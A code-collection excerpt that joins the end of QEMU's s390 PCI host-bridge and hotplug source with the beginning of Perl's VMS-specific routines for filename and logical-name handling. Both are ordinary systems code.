pdev = PCI_DEVICE(dev);
pci_bridge_map_irq(pb, dev->id, s390_pci_map_irq);
pci_setup_iommu(&pb->sec_bus, s390_pci_dma_iommu, s);
qbus_set_hotplug_handler(BUS(&pb->sec_bus), OBJECT(s));
if (dev->hotplugged) {
pci_default_write_config(pdev, PCI_PRIMARY_BUS,
pci_dev_bus_num(pdev), 1);
s->bus_no += 1;
pci_default_write_config(pdev, PCI_SECONDARY_BUS, s->bus_no, 1);
s390_pci_update_subordinate(pdev, s->bus_no);
}
} else if (object_dynamic_cast(OBJECT(dev), TYPE_PCI_DEVICE)) {
pdev = PCI_DEVICE(dev);
if (!dev->id) {
/* In the case the PCI device does not define an id */
/* we generate one based on the PCI address */
dev->id = g_strdup_printf("auto_%02x:%02x.%01x",
pci_dev_bus_num(pdev),
PCI_SLOT(pdev->devfn),
PCI_FUNC(pdev->devfn));
}
pbdev = s390_pci_find_dev_by_target(s, dev->id);
if (!pbdev) {
pbdev = s390_pci_device_new(s, dev->id, errp);
if (!pbdev) {
return;
}
}
pbdev->pdev = pdev;
pbdev->iommu = s390_pci_get_iommu(s, pci_get_bus(pdev), pdev->devfn);
pbdev->iommu->pbdev = pbdev;
pbdev->state = ZPCI_FS_DISABLED;
set_pbdev_info(pbdev);
if (object_dynamic_cast(OBJECT(dev), "vfio-pci")) {
pbdev->fh |= FH_SHM_VFIO;
pbdev->iommu->dma_limit = s390_pci_start_dma_count(s, pbdev);
/* Fill in CLP information passed via the vfio region */
s390_pci_get_clp_info(pbdev);
} else {
pbdev->fh |= FH_SHM_EMUL;
}
if (s390_pci_msix_init(pbdev)) {
error_setg(errp, "MSI-X support is mandatory "
"in the S390 architecture");
return;
}
if (dev->hotplugged) {
s390_pci_generate_plug_event(HP_EVENT_TO_CONFIGURED ,
pbdev->fh, pbdev->fid);
}
} else if (object_dynamic_cast(OBJECT(dev), TYPE_S390_PCI_DEVICE)) {
pbdev = S390_PCI_DEVICE(dev);
/* the allocated idx is actually getting used */
s->next_idx = (pbdev->idx + 1) & FH_MASK_INDEX;
pbdev->fh = pbdev->idx;
QTAILQ_INSERT_TAIL(&s->zpci_devs, pbdev, link);
g_hash_table_insert(s->zpci_table, &pbdev->idx, pbdev);
} else {
g_assert_not_reached();
}
}
static void s390_pcihost_unplug(HotplugHandler *hotplug_dev, DeviceState *dev,
Error **errp)
{
S390pciState *s = S390_PCI_HOST_BRIDGE(hotplug_dev);
S390PCIBusDevice *pbdev = NULL;
if (object_dynamic_cast(OBJECT(dev), TYPE_PCI_DEVICE)) {
PCIDevice *pci_dev = PCI_DEVICE(dev);
PCIBus *bus;
int32_t devfn;
pbdev = s390_pci_find_dev_by_pci(s, PCI_DEVICE(dev));
g_assert(pbdev);
s390_pci_generate_plug_event(HP_EVENT_STANDBY_TO_RESERVED,
pbdev->fh, pbdev->fid);
bus = pci_get_bus(pci_dev);
devfn = pci_dev->devfn;
qdev_unrealize(dev);
s390_pci_msix_free(pbdev);
s390_pci_iommu_free(s, bus, devfn);
pbdev->pdev = NULL;
pbdev->state = ZPCI_FS_RESERVED;
} else if (object_dynamic_cast(OBJECT(dev), TYPE_S390_PCI_DEVICE)) {
pbdev = S390_PCI_DEVICE(dev);
pbdev->fid = 0;
QTAILQ_REMOVE(&s->zpci_devs, pbdev, link);
g_hash_table_remove(s->zpci_table, &pbdev->idx);
if (pbdev->iommu->dma_limit) {
s390_pci_end_dma_count(s, pbdev->iommu->dma_limit);
}
qdev_unrealize(dev);
}
}
static void s390_pcihost_unplug_request(HotplugHandler *hotplug_dev,
DeviceState *dev,
Error **errp)
{
S390pciState *s = S390_PCI_HOST_BRIDGE(hotplug_dev);
S390PCIBusDevice *pbdev;
if (object_dynamic_cast(OBJECT(dev), TYPE_PCI_BRIDGE)) {
error_setg(errp, "PCI bridge hot unplug currently not supported");
} else if (object_dynamic_cast(OBJECT(dev), TYPE_PCI_DEVICE)) {
/*
* Redirect the unplug request to the zPCI device and remember that
* we've checked the PCI device already (to prevent endless recursion).
*/
pbdev = s390_pci_find_dev_by_pci(s, PCI_DEVICE(dev));
g_assert(pbdev);
pbdev->pci_unplug_request_processed = true;
qdev_unplug(DEVICE(pbdev), errp);
} else if (object_dynamic_cast(OBJECT(dev), TYPE_S390_PCI_DEVICE)) {
pbdev = S390_PCI_DEVICE(dev);
/*
* If unplug was initially requested for the zPCI device, we
* first have to redirect to the PCI device, which will in return
* redirect back to us after performing its checks (if the request
* is not blocked, e.g. because it's a PCI bridge).
*/
if (pbdev->pdev && !pbdev->pci_unplug_request_processed) {
qdev_unplug(DEVICE(pbdev->pdev), errp);
return;
}
pbdev->pci_unplug_request_processed = false;
switch (pbdev->state) {
case ZPCI_FS_STANDBY:
case ZPCI_FS_RESERVED:
s390_pci_perform_unplug(pbdev);
break;
default:
/*
* Allow to send multiple requests, e.g. if the guest crashed
* before releasing the device, we would not be able to send
* another request to the same VM (e.g. fresh OS).
*/
pbdev->unplug_requested = true;
s390_pci_generate_plug_event(HP_EVENT_DECONFIGURE_REQUEST,
pbdev->fh, pbdev->fid);
}
} else {
g_assert_not_reached();
}
}
static void s390_pci_enumerate_bridge(PCIBus *bus, PCIDevice *pdev,
void *opaque)
{
S390pciState *s = opaque;
PCIBus *sec_bus = NULL;
if ((pci_default_read_config(pdev, PCI_HEADER_TYPE, 1) !=
PCI_HEADER_TYPE_BRIDGE)) {
return;
}
(s->bus_no)++;
pci_default_write_config(pdev, PCI_PRIMARY_BUS, pci_dev_bus_num(pdev), 1);
pci_default_write_config(pdev, PCI_SECONDARY_BUS, s->bus_no, 1);
pci_default_write_config(pdev, PCI_SUBORDINATE_BUS, s->bus_no, 1);
sec_bus = pci_bridge_get_sec_bus(PCI_BRIDGE(pdev));
if (!sec_bus) {
return;
}
/* Assign numbers to all child bridges. The last is the highest number. */
pci_for_each_device(sec_bus, pci_bus_num(sec_bus),
s390_pci_enumerate_bridge, s);
pci_default_write_config(pdev, PCI_SUBORDINATE_BUS, s->bus_no, 1);
}
static void s390_pcihost_reset(DeviceState *dev)
{
S390pciState *s = S390_PCI_HOST_BRIDGE(dev);
PCIBus *bus = s->parent_obj.bus;
S390PCIBusDevice *pbdev, *next;
/* Process all pending unplug requests */
QTAILQ_FOREACH_SAFE(pbdev, &s->zpci_devs, link, next) {
if (pbdev->unplug_requested) {
if (pbdev->summary_ind) {
pci_dereg_irqs(pbdev);
}
if (pbdev->iommu->enabled) {
pci_dereg_ioat(pbdev->iommu);
}
pbdev->state = ZPCI_FS_STANDBY;
s390_pci_perform_unplug(pbdev);
}
}
/*
* When resetting a PCI bridge, the assigned numbers are set to 0. So
* on every system reset, we also have to reassign numbers.
*/
s->bus_no = 0;
pci_for_each_device(bus, pci_bus_num(bus), s390_pci_enumerate_bridge, s);
}
static void s390_pcihost_class_init(ObjectClass *klass, void *data)
{
DeviceClass *dc = DEVICE_CLASS(klass);
HotplugHandlerClass *hc = HOTPLUG_HANDLER_CLASS(klass);
dc->reset = s390_pcihost_reset;
dc->realize = s390_pcihost_realize;
dc->unrealize = s390_pcihost_unrealize;
hc->pre_plug = s390_pcihost_pre_plug;
hc->plug = s390_pcihost_plug;
hc->unplug_request = s390_pcihost_unplug_request;
hc->unplug = s390_pcihost_unplug;
msi_nonbroken = true;
}
static const TypeInfo s390_pcihost_info = {
.name = TYPE_S390_PCI_HOST_BRIDGE,
.parent = TYPE_PCI_HOST_BRIDGE,
.instance_size = sizeof(S390pciState),
.class_init = s390_pcihost_class_init,
.interfaces = (InterfaceInfo[]) {
{ TYPE_HOTPLUG_HANDLER },
{ }
}
};
static const TypeInfo s390_pcibus_info = {
.name = TYPE_S390_PCI_BUS,
.parent = TYPE_BUS,
.instance_size = sizeof(S390PCIBus),
};
static uint16_t s390_pci_generate_uid(S390pciState *s)
{
uint16_t uid = 0;
do {
uid++;
if (!s390_pci_find_dev_by_uid(s, uid)) {
return uid;
}
} while (uid < ZPCI_MAX_UID);
return UID_UNDEFINED;
}
static uint32_t s390_pci_generate_fid(S390pciState *s, Error **errp)
{
uint32_t fid = 0;
do {
if (!s390_pci_find_dev_by_fid(s, fid)) {
return fid;
}
} while (fid++ != ZPCI_MAX_FID);
error_setg(errp, "no free fid could be found");
return 0;
}
static void s390_pci_device_realize(DeviceState *dev, Error **errp)
{
S390PCIBusDevice *zpci = S390_PCI_DEVICE(dev);
S390pciState *s = s390_get_phb();
if (!zpci->target) {
error_setg(errp, "target must be defined");
return;
}
if (s390_pci_find_dev_by_target(s, zpci->target)) {
error_setg(errp, "target %s already has an associated zpci device",
zpci->target);
return;
}
if (zpci->uid == UID_UNDEFINED) {
zpci->uid = s390_pci_generate_uid(s);
if (!zpci->uid) {
error_setg(errp, "no free uid could be found");
return;
}
} else if (s390_pci_find_dev_by_uid(s, zpci->uid)) {
error_setg(errp, "uid %u already in use", zpci->uid);
return;
}
if (!zpci->fid_defined) {
Error *local_error = NULL;
zpci->fid = s390_pci_generate_fid(s, &local_error);
if (local_error) {
error_propagate(errp, local_error);
return;
}
} else if (s390_pci_find_dev_by_fid(s, zpci->fid)) {
error_setg(errp, "fid %u already in use", zpci->fid);
return;
}
zpci->state = ZPCI_FS_RESERVED;
zpci->fmb.format = ZPCI_FMB_FORMAT;
}
static void s390_pci_device_reset(DeviceState *dev)
{
S390PCIBusDevice *pbdev = S390_PCI_DEVICE(dev);
switch (pbdev->state) {
case ZPCI_FS_RESERVED:
return;
case ZPCI_FS_STANDBY:
break;
default:
pbdev->fh &= ~FH_MASK_ENABLE;
pbdev->state = ZPCI_FS_DISABLED;
break;
}
if (pbdev->summary_ind) {
pci_dereg_irqs(pbdev);
}
if (pbdev->iommu->enabled) {
pci_dereg_ioat(pbdev->iommu);
}
fmb_timer_free(pbdev);
}
static void s390_pci_get_fid(Object *obj, Visitor *v, const char *name,
void *opaque, Error **errp)
{
Property *prop = opaque;
uint32_t *ptr = object_field_prop_ptr(obj, prop);
visit_type_uint32(v, name, ptr, errp);
}
static void s390_pci_set_fid(Object *obj, Visitor *v, const char *name,
void *opaque, Error **errp)
{
S390PCIBusDevice *zpci = S390_PCI_DEVICE(obj);
Property *prop = opaque;
uint32_t *ptr = object_field_prop_ptr(obj, prop);
if (!visit_type_uint32(v, name, ptr, errp)) {
return;
}
zpci->fid_defined = true;
}
static const PropertyInfo s390_pci_fid_propinfo = {
.name = "zpci_fid",
.get = s390_pci_get_fid,
.set = s390_pci_set_fid,
};
#define DEFINE_PROP_S390_PCI_FID(_n, _s, _f) \
DEFINE_PROP(_n, _s, _f, s390_pci_fid_propinfo, uint32_t)
static Property s390_pci_device_properties[] = {
DEFINE_PROP_UINT16("uid", S390PCIBusDevice, uid, UID_UNDEFINED),
DEFINE_PROP_S390_PCI_FID("fid", S390PCIBusDevice, fid),
DEFINE_PROP_STRING("target", S390PCIBusDevice, target),
DEFINE_PROP_END_OF_LIST(),
};
static const VMStateDescription s390_pci_device_vmstate = {
.name = TYPE_S390_PCI_DEVICE,
/*
* TODO: add state handling here, so migration works at least with
* emulated pci devices on s390x
*/
.unmigratable = 1,
};
static void s390_pci_device_class_init(ObjectClass *klass, void *data)
{
DeviceClass *dc = DEVICE_CLASS(klass);
dc->desc = "zpci device";
set_bit(DEVICE_CATEGORY_MISC, dc->categories);
dc->reset = s390_pci_device_reset;
dc->bus_type = TYPE_S390_PCI_BUS;
dc->realize = s390_pci_device_realize;
device_class_set_props(dc, s390_pci_device_properties);
dc->vmsd = &s390_pci_device_vmstate;
}
static const TypeInfo s390_pci_device_info = {
.name = TYPE_S390_PCI_DEVICE,
.parent = TYPE_DEVICE,
.instance_size = sizeof(S390PCIBusDevice),
.class_init = s390_pci_device_class_init,
};
static TypeInfo s390_pci_iommu_info = {
.name = TYPE_S390_PCI_IOMMU,
.parent = TYPE_OBJECT,
.instance_size = sizeof(S390PCIIOMMU),
};
static void s390_iommu_memory_region_class_init(ObjectClass *klass, void *data)
{
IOMMUMemoryRegionClass *imrc = IOMMU_MEMORY_REGION_CLASS(klass);
imrc->translate = s390_translate_iommu;
imrc->replay = s390_pci_iommu_replay;
}
static const TypeInfo s390_iommu_memory_region_info = {
.parent = TYPE_IOMMU_MEMORY_REGION,
.name = TYPE_S390_IOMMU_MEMORY_REGION,
.class_init = s390_iommu_memory_region_class_init,
};
static void s390_pci_register_types(void)
{
type_register_static(&s390_pcihost_info);
type_register_static(&s390_pcibus_info);
type_register_static(&s390_pci_device_info);
type_register_static(&s390_pci_iommu_info);
type_register_static(&s390_iommu_memory_region_info);
}
type_init(s390_pci_register_types)
|
602412.c | /* vms.c
*
* VMS-specific routines for perl5
*
* Copyright (C) 1993-2015 by Charles Bailey and others.
*
* You may distribute under the terms of either the GNU General Public
* License or the Artistic License, as specified in the README file.
*/
/*
* Yet small as was their hunted band
* still fell and fearless was each hand,
* and strong deeds they wrought yet oft,
* and loved the woods, whose ways more soft
* them seemed than thralls of that black throne
* to live and languish in halls of stone.
* "The Lay of Leithian", Canto II, lines 135-40
*
* [p.162 of _The Lays of Beleriand_]
*/
#include <acedef.h>
#include <acldef.h>
#include <armdef.h>
#include <chpdef.h>
#include <clidef.h>
#include <climsgdef.h>
#include <dcdef.h>
#include <descrip.h>
#include <devdef.h>
#include <dvidef.h>
#include <float.h>
#include <fscndef.h>
#include <iodef.h>
#include <jpidef.h>
#include <kgbdef.h>
#include <libclidef.h>
#include <libdef.h>
#include <lib$routines.h>
#include <lnmdef.h>
#include <ossdef.h>
#include <ppropdef.h>
#include <prvdef.h>
#include <pscandef.h>
#include <psldef.h>
#include <rms.h>
#include <shrdef.h>
#include <ssdef.h>
#include <starlet.h>
#include <strdef.h>
#include <str$routines.h>
#include <syidef.h>
#include <uaidef.h>
#include <uicdef.h>
#include <stsdef.h>
#include <efndef.h>
#define NO_EFN EFN$C_ENF
#include <unixlib.h>
#pragma member_alignment save
#pragma nomember_alignment longword
struct item_list_3 {
unsigned short len;
unsigned short code;
void * bufadr;
unsigned short * retadr;
};
#pragma member_alignment restore
/* Older versions of ssdef.h don't have these */
#ifndef SS$_INVFILFOROP
# define SS$_INVFILFOROP 3930
#endif
#ifndef SS$_NOSUCHOBJECT
# define SS$_NOSUCHOBJECT 2696
#endif
/* We implement I/O here, so we will be mixing PerlIO and stdio calls. */
#define PERLIO_NOT_STDIO 0
/* Don't replace system definitions of vfork, getenv, lstat, and stat,
* code below needs to get to the underlying CRTL routines. */
#define DONT_MASK_RTL_CALLS
#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
/* Anticipating future expansion in lexical warnings . . . */
#ifndef WARN_INTERNAL
# define WARN_INTERNAL WARN_MISC
#endif
#ifdef VMS_LONGNAME_SUPPORT
#include <libfildef.h>
#endif
#if __CRTL_VER >= 80200000
#ifdef lstat
#undef lstat
#endif
#else
#ifdef lstat
#undef lstat
#endif
#define lstat(_x, _y) stat(_x, _y)
#endif
/* Routine to create a decterm for use with the Perl debugger */
/* No headers, this information was found in the Programming Concepts Manual */
static int (*decw_term_port)
(const struct dsc$descriptor_s * display,
const struct dsc$descriptor_s * setup_file,
const struct dsc$descriptor_s * customization,
struct dsc$descriptor_s * result_device_name,
unsigned short * result_device_name_length,
void * controller,
void * char_buffer,
void * char_change_buffer) = 0;
#if defined(NEED_AN_H_ERRNO)
dEXT int h_errno;
#endif
#if defined(__DECC) || defined(__DECCXX)
#pragma member_alignment save
#pragma nomember_alignment longword
#pragma message save
#pragma message disable misalgndmem
#endif
struct itmlst_3 {
unsigned short int buflen;
unsigned short int itmcode;
void *bufadr;
unsigned short int *retlen;
};
struct filescan_itmlst_2 {
unsigned short length;
unsigned short itmcode;
char * component;
};
struct vs_str_st {
unsigned short length;
char str[VMS_MAXRSS];
unsigned short pad; /* for longword struct alignment */
};
#if defined(__DECC) || defined(__DECCXX)
#pragma message restore
#pragma member_alignment restore
#endif
#define do_fileify_dirspec(a,b,c,d) mp_do_fileify_dirspec(aTHX_ a,b,c,d)
#define do_pathify_dirspec(a,b,c,d) mp_do_pathify_dirspec(aTHX_ a,b,c,d)
#define do_tovmsspec(a,b,c,d) mp_do_tovmsspec(aTHX_ a,b,c,0,d)
#define do_tovmspath(a,b,c,d) mp_do_tovmspath(aTHX_ a,b,c,d)
#define do_rmsexpand(a,b,c,d,e,f,g) mp_do_rmsexpand(aTHX_ a,b,c,d,e,f,g)
#define do_vms_realpath(a,b,c) mp_do_vms_realpath(aTHX_ a,b,c)
#define do_vms_realname(a,b,c) mp_do_vms_realname(aTHX_ a,b,c)
#define do_tounixspec(a,b,c,d) mp_do_tounixspec(aTHX_ a,b,c,d)
#define do_tounixpath(a,b,c,d) mp_do_tounixpath(aTHX_ a,b,c,d)
#define do_vms_case_tolerant(a) mp_do_vms_case_tolerant(a)
#define expand_wild_cards(a,b,c,d) mp_expand_wild_cards(aTHX_ a,b,c,d)
#define getredirection(a,b) mp_getredirection(aTHX_ a,b)
static char *mp_do_tovmspath(pTHX_ const char *path, char *buf, int ts, int *);
static char *mp_do_tounixpath(pTHX_ const char *path, char *buf, int ts, int *);
static char *mp_do_tounixspec(pTHX_ const char *, char *, int, int *);
static char *mp_do_pathify_dirspec(pTHX_ const char *dir,char *buf, int ts, int *);
static char * int_rmsexpand_vms(
const char * filespec, char * outbuf, unsigned opts);
static char * int_rmsexpand_tovms(
const char * filespec, char * outbuf, unsigned opts);
static char *int_tovmsspec
(const char *path, char *buf, int dir_flag, int * utf8_flag);
static char * int_fileify_dirspec(const char *dir, char *buf, int *utf8_fl);
static char * int_tounixspec(const char *spec, char *buf, int * utf8_fl);
static char * int_tovmspath(const char *path, char *buf, int * utf8_fl);
/* see system service docs for $TRNLNM -- NOT the same as LNM$_MAX_INDEX */
#define PERL_LNM_MAX_ALLOWED_INDEX 127
/* OpenVMS User's Guide says at least 9 iterative translations will be performed,
* depending on the facility. SHOW LOGICAL does 10, so we'll imitate that for
* the Perl facility.
*/
#define PERL_LNM_MAX_ITER 10
/* New values with 7.3-2*/ /* why does max DCL have 4 byte subtracted from it? */
#define MAX_DCL_SYMBOL (8192)
#define MAX_DCL_LINE_LENGTH (4096 - 4)
static char *__mystrtolower(char *str)
{
if (str) for (; *str; ++str) *str= toLOWER_L1(*str);
return str;
}
static struct dsc$descriptor_s fildevdsc =
{ 12, DSC$K_DTYPE_T, DSC$K_CLASS_S, "LNM$FILE_DEV" };
static struct dsc$descriptor_s crtlenvdsc =
{ 8, DSC$K_DTYPE_T, DSC$K_CLASS_S, "CRTL_ENV" };
static struct dsc$descriptor_s *fildev[] = { &fildevdsc, NULL };
static struct dsc$descriptor_s *defenv[] = { &fildevdsc, &crtlenvdsc, NULL };
static struct dsc$descriptor_s **env_tables = defenv;
static bool will_taint = FALSE; /* tainting active, but no PL_curinterp yet */
/* True if we shouldn't treat barewords as logicals during directory */
/* munching */
static int no_translate_barewords;
/* DECC feature indexes. We grab the indexes at start-up
* time for later use with decc$feature_get_value.
*/
static int disable_to_vms_logname_translation_index = -1;
static int disable_posix_root_index = -1;
static int efs_case_preserve_index = -1;
static int efs_charset_index = -1;
static int filename_unix_no_version_index = -1;
static int filename_unix_only_index = -1;
static int filename_unix_report_index = -1;
static int posix_compliant_pathnames_index = -1;
static int readdir_dropdotnotype_index = -1;
#define DECC_DISABLE_TO_VMS_LOGNAME_TRANSLATION \
(decc$feature_get_value(disable_to_vms_logname_translation_index,__FEATURE_MODE_CURVAL)>0)
#define DECC_DISABLE_POSIX_ROOT \
(decc$feature_get_value(disable_posix_root_index,__FEATURE_MODE_CURVAL)>0)
#define DECC_EFS_CASE_PRESERVE \
(decc$feature_get_value(efs_case_preserve_index,__FEATURE_MODE_CURVAL)>0)
#define DECC_EFS_CHARSET \
(decc$feature_get_value(efs_charset_index,__FEATURE_MODE_CURVAL)>0)
#define DECC_FILENAME_UNIX_NO_VERSION \
(decc$feature_get_value(filename_unix_no_version_index,__FEATURE_MODE_CURVAL)>0)
#define DECC_FILENAME_UNIX_ONLY \
(decc$feature_get_value(filename_unix_only_index,__FEATURE_MODE_CURVAL)>0)
#define DECC_FILENAME_UNIX_REPORT \
(decc$feature_get_value(filename_unix_report_index,__FEATURE_MODE_CURVAL)>0)
#define DECC_POSIX_COMPLIANT_PATHNAMES \
(decc$feature_get_value(posix_compliant_pathnames_index,__FEATURE_MODE_CURVAL)>0)
#define DECC_READDIR_DROPDOTNOTYPE \
(decc$feature_get_value(readdir_dropdotnotype_index,__FEATURE_MODE_CURVAL)>0)
static int vms_process_case_tolerant = 1;
int vms_vtf7_filenames = 0;
int gnv_unix_shell = 0;
static int vms_unlink_all_versions = 0;
static int vms_posix_exit = 0;
/* bug workarounds if needed */
int decc_bug_devnull = 1;
int vms_bug_stat_filename = 0;
static int vms_debug_on_exception = 0;
static int vms_debug_fileify = 0;
/* Simple logical name translation */
static int
simple_trnlnm(const char * logname, char * value, int value_len)
{
const $DESCRIPTOR(table_dsc, "LNM$FILE_DEV");
const unsigned long attr = LNM$M_CASE_BLIND;
struct dsc$descriptor_s name_dsc;
int status;
unsigned short result;
struct itmlst_3 itlst[2] = {{value_len, LNM$_STRING, value, &result},
{0, 0, 0, 0}};
name_dsc.dsc$w_length = strlen(logname);
name_dsc.dsc$a_pointer = (char *)logname;
name_dsc.dsc$b_dtype = DSC$K_DTYPE_T;
name_dsc.dsc$b_class = DSC$K_CLASS_S;
status = sys$trnlnm(&attr, &table_dsc, &name_dsc, 0, itlst);
if ($VMS_STATUS_SUCCESS(status)) {
/* Null terminate and return the string */
/*--------------------------------------*/
value[result] = 0;
return result;
}
return 0;
}
/* Is this a UNIX file specification?
* No longer a simple check with EFS file specs
* For now, not a full check, but need to
* handle POSIX ^UP^ specifications
* Fixing to handle ^/ cases would require
* changes to many other conversion routines.
*/
static int
is_unix_filespec(const char *path)
{
int ret_val;
const char * pch1;
ret_val = 0;
if (! strBEGINs(path,"\"^UP^")) {
pch1 = strchr(path, '/');
if (pch1 != NULL)
ret_val = 1;
else {
/* If the user wants UNIX files, "." needs to be treated as in UNIX */
if (DECC_FILENAME_UNIX_REPORT || DECC_FILENAME_UNIX_ONLY) {
if (strEQ(path,"."))
ret_val = 1;
}
}
}
return ret_val;
}
/* This routine converts a UCS-2 character to be VTF-7 encoded.
*/
static void
ucs2_to_vtf7(char *outspec, unsigned long ucs2_char, int * output_cnt)
{
unsigned char * ucs_ptr;
int hex;
ucs_ptr = (unsigned char *)&ucs2_char;
outspec[0] = '^';
outspec[1] = 'U';
hex = (ucs_ptr[1] >> 4) & 0xf;
if (hex < 0xA)
outspec[2] = hex + '0';
else
outspec[2] = (hex - 9) + 'A';
hex = ucs_ptr[1] & 0xF;
if (hex < 0xA)
outspec[3] = hex + '0';
else {
outspec[3] = (hex - 9) + 'A';
}
hex = (ucs_ptr[0] >> 4) & 0xf;
if (hex < 0xA)
outspec[4] = hex + '0';
else
outspec[4] = (hex - 9) + 'A';
hex = ucs_ptr[1] & 0xF;
if (hex < 0xA)
outspec[5] = hex + '0';
else {
outspec[5] = (hex - 9) + 'A';
}
*output_cnt = 6;
}
/* This handles the conversion of a UNIX extended character set to a ^
* escaped VMS character.
* in a UNIX file specification.
*
* The output count variable contains the number of characters added
* to the output string.
*
* The return value is the number of characters read from the input string
*/
static int
copy_expand_unix_filename_escape(char *outspec, const char *inspec, int *output_cnt, const int * utf8_fl)
{
int count;
int utf8_flag;
utf8_flag = 0;
if (utf8_fl)
utf8_flag = *utf8_fl;
count = 0;
*output_cnt = 0;
if (*inspec >= 0x80) {
if (utf8_fl && vms_vtf7_filenames) {
unsigned long ucs_char;
ucs_char = 0;
if ((*inspec & 0xE0) == 0xC0) {
/* 2 byte Unicode */
ucs_char = ((inspec[0] & 0x1F) << 6) + (inspec[1] & 0x3f);
if (ucs_char >= 0x80) {
ucs2_to_vtf7(outspec, ucs_char, output_cnt);
return 2;
}
} else if ((*inspec & 0xF0) == 0xE0) {
/* 3 byte Unicode */
ucs_char = ((inspec[0] & 0xF) << 12) +
((inspec[1] & 0x3f) << 6) +
(inspec[2] & 0x3f);
if (ucs_char >= 0x800) {
ucs2_to_vtf7(outspec, ucs_char, output_cnt);
return 3;
}
#if 0 /* I do not see longer sequences supported by OpenVMS */
/* Maybe some one can fix this later */
} else if ((*inspec & 0xF8) == 0xF0) {
/* 4 byte Unicode */
/* UCS-4 to UCS-2 */
} else if ((*inspec & 0xFC) == 0xF8) {
/* 5 byte Unicode */
/* UCS-4 to UCS-2 */
} else if ((*inspec & 0xFE) == 0xFC) {
/* 6 byte Unicode */
/* UCS-4 to UCS-2 */
#endif
}
}
/* High bit set, but not a Unicode character! */
/* Non printing DECMCS or ISO Latin-1 character? */
if ((unsigned char)*inspec <= 0x9F) {
int hex;
outspec[0] = '^';
outspec++;
hex = (*inspec >> 4) & 0xF;
if (hex < 0xA)
outspec[1] = hex + '0';
else {
outspec[1] = (hex - 9) + 'A';
}
hex = *inspec & 0xF;
if (hex < 0xA)
outspec[2] = hex + '0';
else {
outspec[2] = (hex - 9) + 'A';
}
*output_cnt = 3;
return 1;
} else if ((unsigned char)*inspec == 0xA0) {
outspec[0] = '^';
outspec[1] = 'A';
outspec[2] = '0';
*output_cnt = 3;
return 1;
} else if ((unsigned char)*inspec == 0xFF) {
outspec[0] = '^';
outspec[1] = 'F';
outspec[2] = 'F';
*output_cnt = 3;
return 1;
}
*outspec = *inspec;
*output_cnt = 1;
return 1;
}
/* Is this a macro that needs to be passed through?
* Macros start with $( and an alpha character, followed
* by a string of alpha numeric characters ending with a )
* If this does not match, then encode it as ODS-5.
*/
if ((inspec[0] == '$') && (inspec[1] == '(')) {
int tcnt;
if (isALPHA_L1(inspec[2]) || (inspec[2] == '.') || (inspec[2] == '_')) {
tcnt = 3;
outspec[0] = inspec[0];
outspec[1] = inspec[1];
outspec[2] = inspec[2];
while(isALPHA_L1(inspec[tcnt]) ||
(inspec[2] == '.') || (inspec[2] == '_')) {
outspec[tcnt] = inspec[tcnt];
tcnt++;
}
if (inspec[tcnt] == ')') {
outspec[tcnt] = inspec[tcnt];
tcnt++;
*output_cnt = tcnt;
return tcnt;
}
}
}
switch (*inspec) {
case 0x7f:
outspec[0] = '^';
outspec[1] = '7';
outspec[2] = 'F';
*output_cnt = 3;
return 1;
break;
case '?':
if (!DECC_EFS_CHARSET)
outspec[0] = '%';
else
outspec[0] = '?';
*output_cnt = 1;
return 1;
break;
case '.':
case '!':
case '#':
case '&':
case '\'':
case '`':
case '(':
case ')':
case '+':
case '@':
case '{':
case '}':
case ',':
case ';':
case '[':
case ']':
case '%':
case '^':
case '\\':
/* Don't escape again if following character is
* already something we escape.
*/
if (strchr(".!#&\'`()+@{},;[]%^=_\\", *(inspec+1))) {
*outspec = *inspec;
*output_cnt = 1;
return 1;
break;
}
/* But otherwise fall through and escape it. */
case '=':
/* Assume that this is to be escaped */
outspec[0] = '^';
outspec[1] = *inspec;
*output_cnt = 2;
return 1;
break;
case ' ': /* space */
/* Assume that this is to be escaped */
outspec[0] = '^';
outspec[1] = '_';
*output_cnt = 2;
return 1;
break;
default:
*outspec = *inspec;
*output_cnt = 1;
return 1;
break;
}
return 0;
}
/* This handles the expansion of a '^' prefix to the proper character
* in a UNIX file specification.
*
* The output count variable contains the number of characters added
* to the output string.
*
* The return value is the number of characters read from the input
* string
*/
static int
copy_expand_vms_filename_escape(char *outspec, const char *inspec, int *output_cnt)
{
int count;
int scnt;
count = 0;
*output_cnt = 0;
if (*inspec == '^') {
inspec++;
switch (*inspec) {
/* Spaces and non-trailing dots should just be passed through,
* but eat the escape character.
*/
case '.':
*outspec = *inspec;
count += 2;
(*output_cnt)++;
break;
case '_': /* space */
*outspec = ' ';
count += 2;
(*output_cnt)++;
break;
case '^':
/* Hmm. Better leave the escape escaped. */
outspec[0] = '^';
outspec[1] = '^';
count += 2;
(*output_cnt) += 2;
break;
case 'U': /* Unicode - FIX-ME this is wrong. */
inspec++;
count++;
scnt = strspn(inspec, "0123456789ABCDEFabcdef");
if (scnt == 4) {
unsigned int c1, c2;
scnt = sscanf(inspec, "%2x%2x", &c1, &c2);
outspec[0] = c1 & 0xff;
outspec[1] = c2 & 0xff;
if (scnt > 1) {
(*output_cnt) += 2;
count += 4;
}
}
else {
/* Error - do best we can to continue */
*outspec = 'U';
outspec++;
(*output_cnt++);
*outspec = *inspec;
count++;
(*output_cnt++);
}
break;
default:
scnt = strspn(inspec, "0123456789ABCDEFabcdef");
if (scnt == 2) {
/* Hex encoded */
unsigned int c1;
scnt = sscanf(inspec, "%2x", &c1);
outspec[0] = c1 & 0xff;
if (scnt > 0) {
(*output_cnt++);
count += 2;
}
}
else {
*outspec = *inspec;
count++;
(*output_cnt++);
}
}
}
else {
*outspec = *inspec;
count++;
(*output_cnt)++;
}
return count;
}
/* vms_split_path - Verify that the input file specification is a
* VMS format file specification, and provide pointers to the components of
* it. With EFS format filenames, this is virtually the only way to
* parse a VMS path specification into components.
*
* If the sum of the components do not add up to the length of the
* string, then the passed file specification is probably a UNIX style
* path.
*/
static int
vms_split_path(const char * path, char * * volume, int * vol_len, char * * root, int * root_len,
char * * dir, int * dir_len, char * * name, int * name_len,
char * * ext, int * ext_len, char * * version, int * ver_len)
{
struct dsc$descriptor path_desc;
int status;
unsigned long flags;
int ret_stat;
struct filescan_itmlst_2 item_list[9];
const int filespec = 0;
const int nodespec = 1;
const int devspec = 2;
const int rootspec = 3;
const int dirspec = 4;
const int namespec = 5;
const int typespec = 6;
const int verspec = 7;
/* Assume the worst for an easy exit */
ret_stat = -1;
*volume = NULL;
*vol_len = 0;
*root = NULL;
*root_len = 0;
*dir = NULL;
*name = NULL;
*name_len = 0;
*ext = NULL;
*ext_len = 0;
*version = NULL;
*ver_len = 0;
